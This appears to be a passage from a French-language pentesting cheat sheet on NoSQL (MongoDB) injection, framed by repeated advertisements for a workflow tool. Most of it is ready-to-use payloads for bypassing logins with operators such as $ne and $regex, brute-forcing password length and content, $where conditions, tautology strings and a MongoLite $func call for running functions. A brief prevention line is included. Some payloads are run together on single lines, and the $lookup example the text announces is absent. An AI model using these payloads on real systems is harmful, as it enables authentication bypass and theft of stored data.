Utilisez Trickest pour construire facilement et automatiser des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Accédez dès aujourd'hui à :
En PHP, vous pouvez envoyer un tableau en changeant le paramètre envoyé de parameter=foo à parameter[arrName]=foo.
Les exploits sont basés sur l'ajout d'un Opérateur :
username[$ne]=1$password[$ne]=1 #<Not Equals>username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameterusername[$regex]=.{25}&pass[$ne]=1#Use the <regex> to find the length of a valueusername[$eq]=admin&password[$ne]=1#<Equals>username[$ne]=admin&pass[$lt]=s#<Less than>, Brute-force pass[$lt] to find more usersusername[$ne]=admin&pass[$gt]=s#<Greater Than>username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where:"this.credits == this.debits"}#<IF>,canbeusedtoexecutecode
Un attaquant peut exploiter cela en saisissant des chaînes comme admin' || 'a'=='a, faisant en sorte que la requête renvoie tous les documents en satisfaisant la condition avec une tautologie ('a'=='a). C'est analogue aux attaques par injection SQL où des entrées comme ' or 1=1-- - sont utilisées pour manipuler les requêtes SQL. Dans MongoDB, des injections similaires peuvent être effectuées en utilisant des entrées comme ' || 1==1//, ' || 1==1%00, ou admin' || 'a'=='a.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
Extraire les informations de longueur
username[$ne]=toto&password[$regex]=.{1}username[$ne]=toto&password[$regex]=.{3}# True if the length equals 1,3...
Les attaques par injection NoSQL sont similaires aux attaques par injection SQL, mais elles ciblent les bases de données NoSQL comme MongoDB. Les attaquants peuvent exploiter les vulnérabilités de sécurité pour contourner l'authentification et accéder aux données sensibles. Pour prévenir les injections NoSQL, il est recommandé d'utiliser des requêtes paramétrées et de valider et échapper correctement les entrées utilisateur.
En utilisant l'opérateur $func de la bibliothèque MongoLite (utilisée par défaut), il pourrait être possible d'exécuter une fonction arbitraire comme dans ce rapport.
"user":{"$func":"var_dump"}
Obtenir des informations à partir de différentes collections
Il est possible d'utiliser $lookup pour obtenir des informations à partir d'une collection différente. Dans l'exemple suivant, nous lisons à partir d'une collection différente appelée users et obtenons les résultats de toutes les entrées avec un mot de passe correspondant à un joker.
REMARQUE :$lookup et d'autres fonctions d'agrégation ne sont disponibles que si la fonction aggregate() a été utilisée pour effectuer la recherche au lieu des fonctions plus courantes find() ou findOne().
Utilisez Trickest pour construire facilement et automatiser des workflows alimentés par les outils communautaires les plus avancés au monde.
Accédez dès aujourd'hui :
Utilisez Trickest pour construire et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde.
Accédez dès aujourd'hui :